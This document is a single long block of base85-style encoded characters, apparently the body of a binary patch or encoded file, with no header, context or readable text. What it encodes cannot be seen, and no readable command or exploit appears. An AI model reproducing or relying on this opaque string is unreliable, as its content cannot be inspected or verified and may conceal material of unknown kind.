zxbf*BnP%T~BUD}hf4~ZOG`hdwk5uZ9ZHlw>Wh*dIb9(gr+!Z#H9Cpr{I7QDnC+C(w zB-i~61(jd$hyP1T)B}`!P}d&`SnLqBYppm@F4)DXI)=rxjMS<5kchq0v;yh)nwN{} zv(^n~l>De8mQa5T+t2k>q?i10_+Au2qtM}xM3sDQl>8Zq(Zp5Id|!>&$<@$it=QSV z_+g^@UWI!;+v54CAXq{8Bj{xy@$fWN{>YEZ0!2?&e}F;01?jfs;QU_()rZP@PR$?k z%vt+^Vj4L<^G7b#5U0lzq%tet4}M?Cs|xMk@&~NP4&dC*%lynAtl+B{&9ZF;TCFA5 z#7wqs+7s(r_+v^wr{w@W{}nv_2{`AS2GthE%Y{AQk9qmsX{MaX4paW{uA@%J3PoL# z8&>~!{?GmvWmMfX(I|g-An}GArc!yDT>qA}f9)1S!M-zp5cM_MS(JRuA7tZoyx$g| zx5hPpz<DT}4XE}bS)H<XH|*yRQ9~X0<60}goSG?A#l-&>W1^0_JnubzzR^{^sRb{9 z#HsQ}N1WL=lad@ZNX*)M?|UHe@+}vGa|ZUUtjtv4@SdQJ2NF9}kEzxl{8XwY_b@7{ zJZt{Qx>+Y`kExnk)cj*StdBW=3#)H$tkC+rl~n73JnxAK{s_UAl{lBMUSd2D{3Zt_ zf94OtDs>%%&Dezvrq!OxLXg;~P_U1E`zkzs)*=fve<bgd3y}B|VSi95-SP$Nh16@` zoEFxN@<%|-GkXfMy?~?dljE5+hCg7!cHe$X)SOXqRqFaf>RS^vIiX%i-XnTd@<d~J zLHsMCagQ_OsTe2dHy%np0EuhtlltSgsYHEvs!IOy=S3hf*@CxxKG#Rf=j1v#`N|(R z?TtOArkl5RoV^Fcj6Z}f=2^7<aIFo_Ml9^3{#B~`E3`6YJx}?AT|#c~_6!o6+Ve%K zN<L_i_zwh$Jv8xSu+KM65d7gQ5{rUjFE!jx7UZNX&-~%TA2F=wQHPpcFk|=L$6X1i zPCvsbT-Z*>p>oZ-0rdx1b8-t8)?=Nt!i`b#DM*~$@l5@${1J4&L&>MNNQ@H{?gRBy z3gZOTNW5*uqUS`(t8c*5i6(A?Ni~14SFWN?XiedOT-XC$6LX%Z*3c5dA2H``j5eOa zA0AOJta01Ha|6MZKNdE1h17Z%Zi0LKPLVh<QKP>+*sNpaZy~XdJFx<Zy~f3;F>Pq` z)KuVUtyX=Ic#V&zCk0o8jNb|158+$kj}Yw25BYHd76+$me3e#9+@LL3H!0UB{10J0 zGOhfP;9q6kar;AaDp1}j%9~hlZiXlVPNV2Fai)ZWucmk^{%c|pOxuX#n!Z_<5!mM$ z#Fp;^i8m;ym=lnmk=@;cKUOAgq4GyUN5moOo71vpiLjWU=0zL7!0&cWqe?n0IhDz> z7*xB{5M;@EL@X7^ovash9=GP4<rLOSrPn0&2P>Kxho^}etm1Tl#KdBv28sPQ>*B_! zP}46WYNO;sae}n|Am`M)>*8_CsjD@~R)n`Yv!1~pM9bG2o(|A$_d$#sczRT_Yhm#m z{uq^yh`N4eR*L;~?Q~sSGL2gJ19#8g`nyrN!QJ-WQu4$0<knN!2&Va}LIa#xPwNlO zwIXp$Un!;HWj$CscRw#aX$?^}4s|iRqnF{UOf7UW>@lJO8RK+IMJ<l3bCNC)@hX4F ze&19ZD=<|Psw!cJIlZyrR$)E$f5{O!9FxQ3T<0fePbF=fApGPMBwnKDJn@~;PoC@$ z&|!xY#LkwJ0)M2S(z5s#{s^@Ga8P3zSUke3x<Rwu5OEAjtk9mm^-+tO8rKa}tN9~5 zPH`GRhcgBxsKFt1MJ|q{oO!`2>i77FpM1d|@Yy}5ySjBTR6BzXhtE{^d8)BFwS9J7 z=OIcy7gY<Erdl;E3lIJngSQ!oo1x|xR?KerfzwBq(;C_<7-VA)?X-o%N!1kZeCdEt zy|{;^sw&U8Zd!kM*SL)mP2=#WCm+)(jNU@x1W(0u3VAxiA0T$T--w=LRfyQsGuIjF za#ZFuf5_(w>ka87%xZ6KX3wk?G=2ep%;7xr1J4t{AAQtPfwLihJALKzm9kRo`<5dW zDxbnGe4kGvH(x0dH_>!J;&}f^yRC(sGUX4V?rl}c>rRsTLwIICm2)c{73qJ7>&8h5 zEmlwK5AuaZa5+&9{4pb^L$chlKE}biIem>98d)fhHY?E0w0AZHiQOVp{@{eMR{kzN zeyUOHj;%e(tb4z4w+-w4E=9>_Rd$QS${%3bt&&&POVNGn@<x0-Sv|To3BB#Cv$CXK z%VCe4m}6YGc{xP=;5(4xPhmW9kr(v4siJY+GO#$K0*To13;V}Y2<x#s>iWZf;~sB} zCcfa0tmmqyLJrSLUXYj^3KG|TGOL28G7=Oqx=-DXcsD7Dk&}`re<binMAYMx;SX2& zV^B`OwH>_ofG$&34XSww9+$J~x`i4<n+A1{S$w2cYssk~$Kp7_AL%QX{(01R?S?;y z20x+kRKzP(pO~G<_a(R32NK`3=kP~rG`1ppO!XMIqMAQEkTerjY&|+HOSg!Roa$nL znlGrD<m{P_JWs^evRLER_61pR-N=yETuvvazs6Z)T7f;NxpDW)a(u}jwI{zeO8$3n zp6WCoBpw?TTJwj8;^*vFam^q8X=)&*XubermKkpt^(=-*B&Dib0mtIB!OX?mo8 z%C4>XV_Wo3tQ787a_&_{-I=u&1d>Wv{3|*MxM`Q3igXe{V(E_hO+OO;;5%Q%c=G(T zd!F!za<#|z-H4K>PWOKy6UusF(W1*0D1RinGjC92AAnyYzNS?lmi`R(NR>af!r+IT ziaXwi?DthAQ77msK1u73pm$@hOBbESj;;A4eQi3-$(cVqb+@C6HF?Q*i5nnMgT&&6 zCKtXlx$b-_9Tmv~{6XyWqTM2ZZ-Y)IimXTUods3XM@&CBCy$69wg%RMFY$+lrwRO# z@A)k4u7WMq41K~nUDO}rc2tE;)Phwg^!%`X7m4u$o}A)FJDXf@^ZgA@5W7vzt#r`g z52rgvvyg|HKYZ=nJ1F^KJAyyJg3iXKkH&6zhN}1s%vhm}jYpIdHES;&VdEr$<ERjg zI=Pp;m%Q(3mE&|gqDc*Z)H%%eyORS46N_}B!L$Sw`o$&onOxIL<L^_WvWN8NNz_yq zrAuGdf1QH=KA*cRGMRBv{us9x#GHc^Kd7$otucS@)ci3s$fAFnv&P@gcS}@N084qw zA0D0PgioP6+Gt{;?y$3^JL+6|Ds=Xos|nagB(jt6-BRiO?grHck5kr;xT(UD>!`c2 z29+ynTzg#Zo|R*7K1Q_<ZJZu!Wc?8le?@J2jkX`c9})Z!!5>+BXg`%)Q#BDY{6XCG zbf1C5V3pBd!mf9v8p@@^eD;acU;N#=B!`WXul;0Ep{$#!KVUt73#P#zf$~Q}rS55` zaAPghrObEn&gDFDX3Gt#J%!`8OzwQoZcfxi-m!01qKa{_98PJ_-PqSuiXr^rOBYuB zEBf8uDHDV}yAFvec}|asdLv5SN6F928>8ee`jIHG3*W$3wYn~FW^4XP)Kz!7Os0@8 z_vi`^9Kz$e7=UZL)2CD*&xm+Zt--oARms!SOsZ|L#k(e|D+eFxGnsS%IepQv${#tN zN}q~SqptZwl)U?vlIJ{vA~U1p8}DAH8b%eTOzRK!5gxw}I-o*3fz}_MGC<Vn+drJv zpjUhhwNJh-Wj^XTC(m@yiHfgfu`JQ{uwJ12kuVPyT#08l5loY+N$U^!lu@~8G_gdD zC-2=sd%vUPQ#A1u73#^FoWC#V3{S2&LDV07(Myo1ui+2*T#rxnaNW>ktnw89YF%uL zX*q)PzUADtTKE{%lBeNW;P8++v>~|;#QjqKNQ5=JeH+Hyv#Vt%O59Al&GDs@i-`|# zggKSbEfOoH`Cwn%a!{dO!ykHXUtI79KMkdoAHT(ea%%p_*qKp##r%&{bz2y3g@g3~ zbsV!h#-{<5Ysk(CVUQ61h(O|qmEr`|{1Nrohj6QZ>;IzUL!DDe8lTwo$hyucyq)<I z&uHr&u8oqf=U!M7yqEczKZsfRBR@Lut)u)A^rCKn`kmp+KSHq$@iduVYR%ve-};iM zQ7E$8&-}40bHOyGVK~c1!(QFAhiGClVz5fRlKAj>E9=%#GZR#R#8L0_R?dE9MO4X4 z)FCr}fq0=>e|U<KQFlW1=o(i<Fo{|(KW5cP`2*YnbI0wzy+zAEMFo9GjYo}bulO3; z#0TrSNB+L@N6IABx}Ynfte4dM;oXTu5!^aFn!|AKsi(rq8zq0=1Br1&WZKhUpMGD? zR0AlY{NYg<cv2a3S2#go%^$u_V7bLq`QwJ(Ow``keWpS_rT%z9FG0Hg{dU%7CHOBh zJc2<P<GT5<rg>(Wc5{fD{UKG3OfoTh+G^^GI)^Dr9<ALVv9O*_hL8!tKB-Z4DlWx) znU*Wtkx3@y4^L`6PKxxvC0o9B&|_F{QGLuF5dP?+En+;kuTGCp^6S=yH3&Km{1Ko$ zhW7Wr#~<#I94faaIuns7e}wP!8B_ICvbU5xQ8A-8LeKf8zatJ7QG+%X=h1kk${+aK zc7flQQ-AnWAUU%N16&`8keM(dZn1ZnZDmLAPOil%70!b{0_u-``_mS=7Jahy>HGWI z%}hkepIrx5^&XY=EfVXTN(vIsi-nzBDtWL^x>E7kcTP3x5G2loM>*fDAXQV;UD!`p zWwNdO;U4E;Zc+V2-SjDau`v#o@W&GDcmfimF1i^GmM4x3{6TM$sM%S{A7l{cW~%OX zVpxw;=AqD6GNWf!URX~xvAElu+D3)e+8GsU&_*y)SdTu?XDz4J;tBkbTsh==ciNUN z=oKDgVxE`c20dq@=^JvqEk}aJg**$|o*pIVo(>4>MJFQb%)}pU{3i1$yDh$y<hnTX zLV`ly!XK&eRL)4ugp%<Cls`Naf7a1j_JTjsH!<!bY<uR9s26p{_NVa2q+G&mqf$J< z8_wMhgrf(=pT^1`G5nEKA$S<|5<2KSv-np%nU`XRz<QmUKT`Fj&e2FGL6y98M^mHZ z>&cLOkKc4V6({Tn64w)5T7R(Tv{E0Q#_$I}lQnj(G89?g{!;m4O_e9^>kB&4kLmjd z!YQ%>hj<?=e~hXDQFEGQLPP5h=c+GC-t-UE|MlSySW<ndLUOIWuLMu!#fg;{BtFlK z3-)D#BBlaY-#KHpc8-tdQ-Ap4V9BHjNW3z&agSZujd0x-pxPsRw+%U#87w?|>W?{R za9z4ZcyRap40K+8n2V=U^N06d!fE!XC<CL3YyL=I_;d)EIcqfW*;7dci5tbwJY@RP z-OscF=O<Br6m`@qoS?9AMO2HUFUgm|E(gxLX>+!%58)3{70kbYb_>4bPrp7*Iivjj z3;uXO)SN>_PIjTXWIvtqrdL}lc^4%wIV6^vKN9=^5VTRD_4f%9_d%OPkv&moDd-KU z9(g{kKYThMG4lpfl>C@FBZEJN#5{tPU!dGRLd&m27xQ1x@vOj;)2PgG-BPJuc;*;= z!t}df+68~qw*X9CVKA*$^2vp#;(^37dx?_w&-}sqQ-N<dk33(^ADr6WjlH0gzzUNs zVy0>ei%Inf{4us?FvtQw=tI=;x8TJbp6<8VwZb0o#|(|fO7YC>th)Zl4=d$XP_yO_ z4>yhJ8l#Ep*==?<b1Ey_6Ysupg228=RcLzV4_|fP#LAkU8z;phYU=(|SQup!@5nS- zeo?((T6Y3}tcmz5^bl1d6?NXi|3b?Ly{s3Y^6+h1C=8uTBrEDh=XmlP#WbQ;|JP&X zXLLvF9LhPP_vLGMlr?FbpnAr81d5OW^$k*0s~|1>A$v~vgMXuH7dA8TqHREdoYMsA zqUFD*{&+}TD)UUEY7N#+QJx)ZV`qYD${!B=fhSMYtdjH+YUgHB&cxvnt*iBir#W2y z9ukLi_E>p?*q{h|76n!7KE+7?=agK>$DQ7TVO_w|1pWw!`T;YIp{QRNgxx`WWA?D= zppO)zVN0HcZWye`xxY%p!BX~FSX;@p-Y7|>%3&Wai<LS&Ma>_cD*5T9k{5KqQ+WXP zou3ZY^FU(mDu@$Q--96=xQ{X|?bQ51rh6HC^C8o2qjC<nt>LyQT0*)uGU>L()yjDq z7d~9WAIzV?KFI}t&>N~G>XfR9NM7*2DETFxif3|N^GDQubgATZ#yi}9hYIzivNm(a z@^syt?o}#tXu5VOGaD}5<S}c^x}XpO_``wq#Pu1$aBEbAI9Q*+A0M-u!9TQoSo24I z+%mnDwfVa>fAD!%U<^o{nySh45Aiq+n|X#m)KiI=7>q9`LllYClRx(@J#?SbqncOu zkyVp(0)M#2iFi<~as+>{FTvssUeyz{L<Zx1&lKc<?zwL*@ni?=o0yu(ulZxd^l#R7 zw43SG{NZ$-g2aBKb)^$cU15|wIc(~Dl)P)XM`CDP3^`}Jt?@!H_#<M*dn%fRt}OYc zYVu*d2{ZA1yb}lPinN37Q|moL1N{I;(|@*Z6z}lpacg7k+W1COb8m$Xf#5w=6MK+) z!MhW5mrbv>R_H!T9u;clRGRt&Bo;rJSOgo)?2sby*f>GAl|gT2Pb%_21p)rc4UT<` z-}eyD=SEp#+`iGS|25M#()C}Ui{-yW?S6Yj-)sr8<TZcDGsj1qM&*x$>WnX@6@s46 z)P8Dmt^DB=&4lhKyZ@Z)1QhAFMaicPe`psqEJVqBHH&&wO;K-Qd#C)&A3j>%Ek@OY z7Wx-HzOnJQs7{~LKbHw!DpRmHV-@(Pv#>vJ&EZU6deO=sJ`>_mWuhh?Q3Oo8Iak_Y z<}}thR8M}6r$W?kA#sM1CxeDR#GT{Z=0}uP%^&1ICKY>qrlprPf3Q3DE|WnMl>C~w zLn8i?o{fhh>ce{}D-faO9rk-b#eIX4pTm0W4%Jn@)aCniIn)(Rls|}@4uLB9MiZkQ zeE8!XC0|d5c!DA|f0(G<BX<CeX6duvq}S9Nwm*cq!kRx~T!?A8z^nRHG2$ulPQbP` zZcA|5won&3f#nIh^n%V5B-W_U{Ndwq@@xjvjMrZKQmja$iPdq<4|9;%YxtwSxrm?K zppAMo<oX~dB~vdaL5q7-O;WGj@`qath|k<fd`6BZ)f_Zlg3(mBRNLTqH-JAp<&S`> zoWH9#64Uyg33~)jrH)!yPjl#Wxw$A&UufbSB#yXk!<uOQk$`Dg_W|dY6Y$nO%2ma_ zlx}ie_c+~^y=0PRs{FAewh?>bJ6P{Ke8Le}>?$7$e@v@o3x%gs%lgc^zcQlc6gD#v zD0%nz5p{)k!5<#(HWNq2Q>m4F3W{WvBXcjZv+G-;4zp35+c)eH!~Ih0agTCkMes*b zYlHySOHu6uRK${qv+8S<=0oPjzLt5yGC$^2uK7MZ<i|Bg97)Y3Os^Ggz_i<U@P{ww zOee5Xre@rOuo=&F<`0jF!FMJ@Y9v+^sp}6=62}Ptp=4F0|M3eM$Dhs*lZqJ&<&TW> z<lwsD_Q4;UDya(Q(Pbibgo;~&&ZBBhFCo+ph`Wyuqw=HHO*^`96Flv*go3aVwf1U# zx}HqG{GO+xNPNp5+_sUMA{*6xJRe`4u-+BA?;ZYdj{{bDBPR;}aH#YawzzKJ<E%VY z&uszT-PnB;{&%OXWLh{+`6Gruo}y1OkP}pZKN65LU|KpiQJ?w4r$Z1m?zVA)K;n%~ zhWKafOT`5@O8#D=$ew`gS#QByXkI%|WE|HGceRvB8exg7eM8LB^}oie_<)*85PArE zNd2+0?zcb(gX3C%_%MBjCT4dD-b-(YPl<X=#+eR5t>lTu-2J)rRCGpf+)PW$nn*8N zkvPRwyv>3~)Z_M(6K6^557v;XNwm#R+*=vr2hPZ-kGha)o9~&Aoxsu&ES~WdbXN8s zwbrm6nO3g%VNLfikh9#}08#!(sH`WqniwQzXQSl%vhrvCNYH6cXWF2MtV*r>zCg(* z;^T>9s;n2apW~c`)N6b;m2r%gA63ubiqM*IYb7Sf($RC!7js-URshE~V!sFQ2R+>~ zmrAj&%YE)WvJb&Da$Wnsd{TYyk$o+>u00h{AMNZ363Y~)D0$|SZ`8p}wf-<s=Z7b_ zk31izTlmAf6OijKgm2-GP+f@pI4Y<3@}IIBWU_mBLS@1rqLt?@x<170FrAa&Ux6)_ z>Ju<1{e{(3=YJ_(mJ6@M)4JmKk=RxKNbV7}x)|&yT#O$Y-Pd^hufv0bW{EEN!y)R& zHGkv>_Xu(oTY633pyhw8J+}dV(7KrOr^^-&sl+TuF1**3`j%6n_e}hsQ>}8sBP(h! ztwvah=3P%ErL*U0XD<;>7he`k3z%w%>l=wFlTqo*l&GnQ?5Ot5_+&nJ*iQ8xen@Yh zy@4Mj6R|&`Hih$GaU86W`U7_hjn@Yc$un5YdNFl2M9I5?4$2>V4sKz1c%evKM^k(9 zbM20H8rCy62z6RIx#bTO)Cy1Dmw6rO+i1@%JdCP^@`rcr8IKZ0Cj0^Fmh*C3%KZ5b zulr+s7Ul^{_o8>UEM@wawLd$gJay+sjoKF$rv4y1DEYwnQfGDP>9ll+l1~L2bjE_+ z1QL%?p^5BlD)0o|2ReYnuK0M$A1SOC9@b?Fb48pc=St2~)*ch}H$)g!R8;suOZ5DJ zGx$B3M&+U9bL~^c^j4pN#DVOudkNi4{tbVS!?*Y&eHrhVcxaS-JuPiId%h_7W(o%v zW669OD_6T6p6n1o8)1K8YpFnVf_Dzz;#$BT5&YqF`glH%VYshQ#@9qVwTAW>wLG%$ zR4OtpUXb#K3nC6rD|8zBL%KHbhevHjl_l=Ph1T^^@|wf5r$Rh*_O@>!HhYQrGCJ~d zZqLXbTv1<~*x6vI-#Ac*d3j&?!$GY_Z8|h~D<9F1{t+x5S$%s0x4_@<$H&|t%yHd_ zi28+}LCvM7;^N+80=F*o-eYR&iu&Fo)8Mw(DEa!{yma<_qvy{25gwVYF%!Yk_m_Hx zsGll-kSnIuQmvYn<#%+QZ{Uv=IW<#bGO0k{09F~d1LY5?KjPM);-~7pN7f4d$oET> zyvYqaQR*g?{8)V{a&1_zp52}qPu}!&Yb171@~rup^?asOKWRlZe~@okJCqjrLya5$ z$Z_3VQ0)oc>(p9U^v`gxo`A<g`Ziy*78dwG2gIS?X8*Kh`qyQp(waX~Ithbvrbz5v z@Q2eG;HjkNs5>t>j|Xuv5<z0+51tR~`&M+HnbwhW3)<v|03{!s`6FSPHEPdWQX9MQ zN4V$TxbG8C?GyOpG2J|QE6NB4;q2f7kVQ@@nN<GBn4^`bQ{|5o|0>mcE9M3|QJ=jM zryFPvI}N7E6vCbv>{}J8H$~1~sQOntn{-qT3)o-Jx7>yRO9P_r@X2%ZdVI(av36|| zIy5_wLOi!^IjXzVQT1hOhQ^E3NlL)Pth<pJJ-s(i%r)NUhfiC<t;3@|-Jtj2Z6yy9 z=Q}0_#ZNX*C;c5TZJ~EF(u;eK@qWvmb1wKJLnREDmY%{BoGN<g(gAsd2KoVA!P8Ke z@aM4M9R83Sab)LwZ$+LNC4as*Z&uW0YTqGhjYc~OUajQWM@_Ef{S>=xnTa1z^M|Ls zG>}PpWbj8SUH_N<Yxl5ZS~{Tq@R*VCV66;P8!+uQAnpkji0lLD?>>M(n8e{(!edAU z60-_ZG~NQv^u%?e{z#}5gU;vTseoz3!vvPE{K1TPGvnRdTe*_Xp8whxB;N3)?!;PW zERvc(Bx+a>PbEC_hcA;R`zc5aYAJt2Jx*2UhF&yxLaV7xtcV|!gA_|#i&?cLW|s~K zXLKK;@*e5EN1nIl4-X}8Zfp7miR-TC5+wFa4c9~siYOA_@<;6_J9zxb+3iTcw4#a| zf5A-kQ29JyZwBy3)(z-@jKSO(B)$P5e&V!EaIl89sAW6?b=_Dk<&O~lD5@LVfj_)6 ze*`G`tvHfr{$N$<j?Qk8SUgVY*tO@E+L`$>A1`!d1vP&Z(zVe(5O=<7{_yL2kE4<| zCZK*D)VkCeLptam<6p_W$BwnK7NGGB{Be12-mm#1r&8=|)Cm(<e96SEtSAmoYND<^ z6&F7_xtNwtQ1aRBoo``ljXFm`MHl=bKQC+VPGJ#C{~Z4C_1@zIBpzw~0l&c?g2q4S zPL>XOpQnjn5aIAOTpg?H=8J<x)fKb9R^-Ohs;Q8=NhZnLeBZ4*A@g9|XO!-!cUJOz z@4bNevRr0@YW@Ioz%-q$Wyg6kcMN|dR}S|Igg<iDIHhZov&QQ(K()`{kC`Pm{hum- zJc0FQ)`p#9_#;9u(d9L)*VG@cVkTEn1cGUG{hly26LktskN;Mm(LH?B;``1@zL0a) z`||SMyyW^-zR##-19f`IKz(n1O}$3G_AX!i8}!<iV-NyA8kPAC9>7%jqo}?>ckuTw z_+uzD1G2wf`O-nJ`J+bSv)1+K5TFPSmr<u6ae=48(-{?7Yv+!<eZ%+$R3QA!SAxXj zGk+wi#U1VlMLPWxA7VH!#0`qT;uq+)Z;5yW+6_vWu#~xrA^gGW%hVYB;q*`&ATg_i zbK}dz6v!E~4;{H9bmoNwuY|X6z`>mhBt{cADpc4}_=B$0n9d%%Rop_;nczmrk{OFk zsy*?qs6R4P0+rdx@P~`PHZM_Q+5!0rmR`enIs75@hq?Edby%xA>{{tm(QSHh%H`%m zJ)K7E<VJ4W)KM#cu&!5qn;Z&%)JV*CqU8IAKcw2L@6GqyOPnB|jy$MtvcO4^9(Yvq zhoe;!y6q$x9Z`V{)WLe7r>`L9C0HCE+(XDJ2(qwJ<_5?;&IbJ9C=!!v!ymA<&(tL= zDs@Fu=QAzM?DpHYZE8Px1B&Q*r2ddxd)GsheBR7#Xw?+&N9Cu~YqB$gD>4NZuj~=` z=7m2Zs=Tkkwl(|_!yk)k!hUy^KV0PxZUYNf%W2m7!()brTgp<K)vU)(#FrYF8NJ)6 z_1@#O@#Mw3S3fyEhWG}a;SZ@$i8^A>xfl0Vd{phaV8%jGfQadUfV#H4w@dCuf5!yN z0Nm)qAM)OnDZ8CK3nrSGB05#5IrY#JFo<=>xf$9-(;)HL;rV?eb~+Q3ynj}qtUr^5 z)NqP6o^jpa59tHBMQrL1JoS`XZ%}@HT3BP{4+qX0)8GG`sGs3rnGVRXJ#KI8jYV&o zstN3rKDK=AsP;f&J_XkEntLW!Lwu>YiCS|g(V(?@$@#XX$7D!gX7tRon@&~xATgR) zrrmVzI8oLMnDL(Txjy{CmtZkb2i#j3+wfX@L2U9ClON%a2keU#Se&&Z7{uvp><)9Z zxw>wC%^x8v<q~yro~cXdHc1Y{W_FvXIr%90FIrBc<aNfv1BpKYiTPQgpJYwc!KE`N z({9QivUUlTdWw?IYyR-zkN7wTi66riu(CCxHkJDcWA?{`mJd%m9S7y%P=93Yg+=EW z*5i4%>{>HdQpjx^iMo*bT{HnX<gH(q?l$*ULMF~xlg0(F`;jOpc@L5(dDFMVH<(r{ z>M+i=IVXB=-lZGBCo6x%`y4%na)v)-%HK>K&jgRroe#)#L@y!Ylm=H(&*`Foh?*U% z{NZz&eWs<ko7~L5tLq>+G;c5=hsKjXdn#VTA9~v+!;=rSvgSKAY9Az?;^SpHcg&f* z%gT}KklRU1d<bys;Bp6Kf-(+JZTEFfn$rf_4azA9{qDWTsJpSBnNy+2$=RWk5UL_b znht^Tg2SAn<d9el63bog`rcz=P^9LMg+1WhvU2Bp^Z9O2GDB5Y5Ue3pQ`VkYR2o`; z<l6NYH7`}Pbb7bM%UOj#!eU)Atq1F6;sptV@XQXUg51=%E7`5G51IAJZjo4`c`vyd z(jE1Ur?NrGi!;ld$^sRdh%!>v;{?!;+?K9PyVd-WYRxM>@ZiiJk=Dl2HJA|Jq!b4$ zpvn{V=ACdh;k;P+BR-BwZtQ8zMa=LAYlRauQY2<)obRo~yCoe0uW={D1;m*hYj>3W zT065oni!YH4w`!_dILQHi5ECQX?;^Fh5N((yx@)_9FVay$y6^wM^2PKCREM|5nrQ* z<lf^4IEYhv3G5r{4;TJ$iwq<Vq}SA(3z>$oWJNiLS~Zbv^`&mamok`kR`Of<zKf_+ zu+J!YPkjSVS<hj%HZ+yGoNhTM`(^Ru)UWv?>t?t?tQ@|)+<SbYXe`LFqI>!UQIlz6 zX8qw0;?|jgz_4D;9}YTZExjR$S{)u%9$zZ7&>=<>>$?aOlzjih%8TMx)=O18bHm`w zAHsSG)#FF(xwz(!6xYo?EQ{bYvxaR4ybXwXW>3Ik=_c&Z$`dep14{D`b9>Ac;^>nf z<&PBhS>maX>oeXba$_7NPc()XK;jf6hG|+^qvXxB8xtQWD1&`E>FcW|Rs|)U1g&S} z=Vc%<+0y#MrvizEw+iqTCE2H9+So&Cy2o^F<lf2>d|rqyR{rR>L+jmp^Dg^qE$)PP zg{-M3ooJ>m#ZyU5U16pWxch@<xt;N@k$9_0-Z!&+=IKD<VLknj!2O;^?K6#(pZOz} zH3o_CPf!sXYih|&&969h0egd~AUH4UL|VH#I6-o6o_Ofmu>Lw%B9p6`)cKc_9Q0~A zJto&?Iuj+o(9WKB?nfp}hWNMl9@RJS(S6JEMtnS0k4(q})>Q-&qvwt;ap$`bAHpr> zWx?F>lJhp#spACpm{vu_?FIG?dBbIP;ExQK;OknS5Ht0M&$)=Xx8mshdr`aA9!h?s zb1G?r#OkRG8YSOMaiX1Ps^s+qi0g*ik?$tD=Mp*Jf=X!lh<lF>e-Qa0$8{Tl#m~vC zbU<b(W5GMAO0HYf0qv{{4r%?7frzk~An_SFeViMemKIE_5tba$A;_CKM@3>E6xkO2 z2C>gbJX9sm%9*?2QW@-)#a28{tssaQFUTS4N2ht|DoeP<pd66ZZ(zM|=!%W1QOzvu zR@~Z+)&ay^^GC#~SQnrJRa3{*X1bzdiRR1;9^KIeIrQHUOU-()8n<owg4l0;-%Wd3 z#q}IBnI>v>Nbxb9grKh0f~!cijdTs*4kBK{$V2jcU-@G~%=r;q(<*RVI7H3<FkKtt zHF5`SD@wk}jdX|T)!sC0W}Kk&8%%h%b7wCFi6^2$MHy-Rk#KGUkT|dJ&HK1+DN%<g zdGr{{CShl?Kf6P?dUwiTj}d!!2uFX(j*j6yZX%bgz#&F4g~}gtZzYqJs`(><KZXX0 z&+{jI5;<H@4QZ~`CkA8hM(-&3jw0~`{D4GUMdJ40bPwNvcTb+{56%g!=N4o5!vO=F zUe<NU^b9X(2R=Cb^P{5i0_7=FS<JDNAzd3Xsr=#6eaD@UTL~8$77hl9$#t!DS$W=I z!c@a8600*C@mAQdaWNFJef(tJqo=x$Y)g+=a?M0n$e!~BmFU{|^rA!fb^;Cr_&pI0 z)&e(3ZYMm|9J^rM0+e3CA1Sx}w~}e;`fDZN9;T&4&5or{PyXm=dG#AiG-~CAlpMN; z4^Z-+@l@(*Y3KHhruFv;I!pyc*x8=eGajrb_Z}yuThAS*R88(-UTm185&jrcf!t`! z_o<rXeG0;PH*E(tbkH5BzSC0KC)N7HXKG+s@J<^2l!P@UZk(V1HiH|Dx>Wv1L1I=8 z4km+UMi1=}FfAR53ccVDcfZCD;GE!yCDK9H8-z1!P`ToqX^rXbT~KX>>oX;%WYyZz zXZn_%aRXw=vqbGk`NQctouU2c6rTBm{Uuy~)OSfqZdlPmCpoh2L+y^TLnMcCms{?m znC@uPj}(9Is`dj+{ZZe0oS@`6V|Q3RCa{Q}T(7KI%^$JqvHUoNKbXC1Z8>qD(6cEx zfw=z6lHthO>>0Yz0jD(U$n@{LaMevnl|NFPppDVQf>oS)4>v7iS~|W(VyRI<;z8pl z*Yl9XggY_6(0x8`hYzOV`=~x-w<&*QoeiD}RV6yo1-r!a*_IAF_+wOs>430P;g3o6 z18Rv(6SJrM5zt9^{MNmBBFEdC@J=(n<BYHp&CGW3<XQPM5_9g0m7U!33^$vkmo^Yj zzQIU*JReN^yv3e8^GAj%9@_N71ih#-^5Ytw$SU!=WonEZ;|AsY`5XqnIjvy5037#l zzdY_eMx8CHid<7urs9&3n|L=eo=Ow7zKife$s5*F6j?MX)VOY7TA<U?X<dc!Q#I-j zTI1$()$NnL*}^{=mFr?loi~E>p5hcfXCKR-x~xJBhsQh*ZYHcprlsqz{1J6GbXg>7 zve?W-@GinlgT%7-;_=)KK;qO)7E07IcdU25$$>aQ;uh9O{0t=zB8mH`6Ikq9l>7|- z$m-4<l`$3lhrFX}R1M$|aj;|}WKR9jKdptQ54o_%-bH(iK;l68L(T>NFjum$w`IMe zdT*XjLdpA_9#3+u{K3w~4_FCepC=268YJfZ+=3#?A0}$28#68K*Y{S4{dK;}kK9iY zmCy~e3yO-wbtC_$J{8C}+(PeIXk%-FR`yQ9ANf93{^0K();NuknZ}n6h<1*nHt*3h z`|#|QgolrBJr#)?Pu}UB{bbqMI^*q{H<(;_G|3&A@m|)bM9lO8Ks7LJK*u1c`D0_R zP{upzk7rEgZBc7C_DVPeCx{AF6}9k33XbRdEqBl)YOm%GPph1-sVmsmri&z<1iTXN zo|*3G`QE(v$?om6wBCE<1n4a}kb(LG4pG)ypyb{2y%qV~u)yyIbK#CQ+5$9A_1^q* z_JvEA30>S~=fWQ|MV3(iHZjrli8;&nsmeXAa>$?TL#iPr&SX}!>3!jG#;_Srck8Lt zZ^X{=<b5+AAoT}`JvB=HF8fW^P9}J}LppoznLl!>rX^AHt{JOu56QC23~$pN<DE8e zc+?5H>>l`|53-;x#j}$RNX;K#iIRVdKcb#^Dt^;vlr9pU3Oc))(NjH_fN4gB`ck9f zx^*<_ZGqA<o@t-&5$@-F^A`4kbF||ea-PJ8NU9&<kAaof4i@zdXOKx6Yi0-R_lOFF zf0(0v0H%fThc8`N?ZJlhyKltX6V_Ay@N~MyE!aU9NSwZgT|wgH)=$<M@40%Rsrm+z z>lCzMMo&))5eq6^1>_n}o)bmfXvh%EUBh~EZ$)lkIq2neIVtDx$0Pb?LtM8^uoy&y z_u6whRh%=)w3%JSC0lcErH;Bm*xTRl(D+v%as1A`N7f%CUcn!%oWV$tJ>}jCv$cw) zAPEjsaFv0?KPq~K$FSxJbMNsvs)GFuLbDRgW-W1R(P?c5JoL`|fhRAR2Hukw<qx^H z(#KQr&iug%(z~O+@l=#QQq{!b2P8(%>HYcyO^jyI*;-$^K=6k|{SDJ@4!KHTF7`(c zmf=p-6#cs_*2SpYmU7o$ZXDy9Rzy_rEbvDNhlAHd9rgITcN6W~IK8nVG3QXLCgMiP zyX->;U#c)VO{b+Z-U=Hxp1i57xq*IPJoz(!kZaEE=jKiJ@JA|L8@>0qp)Z@!w@H}n 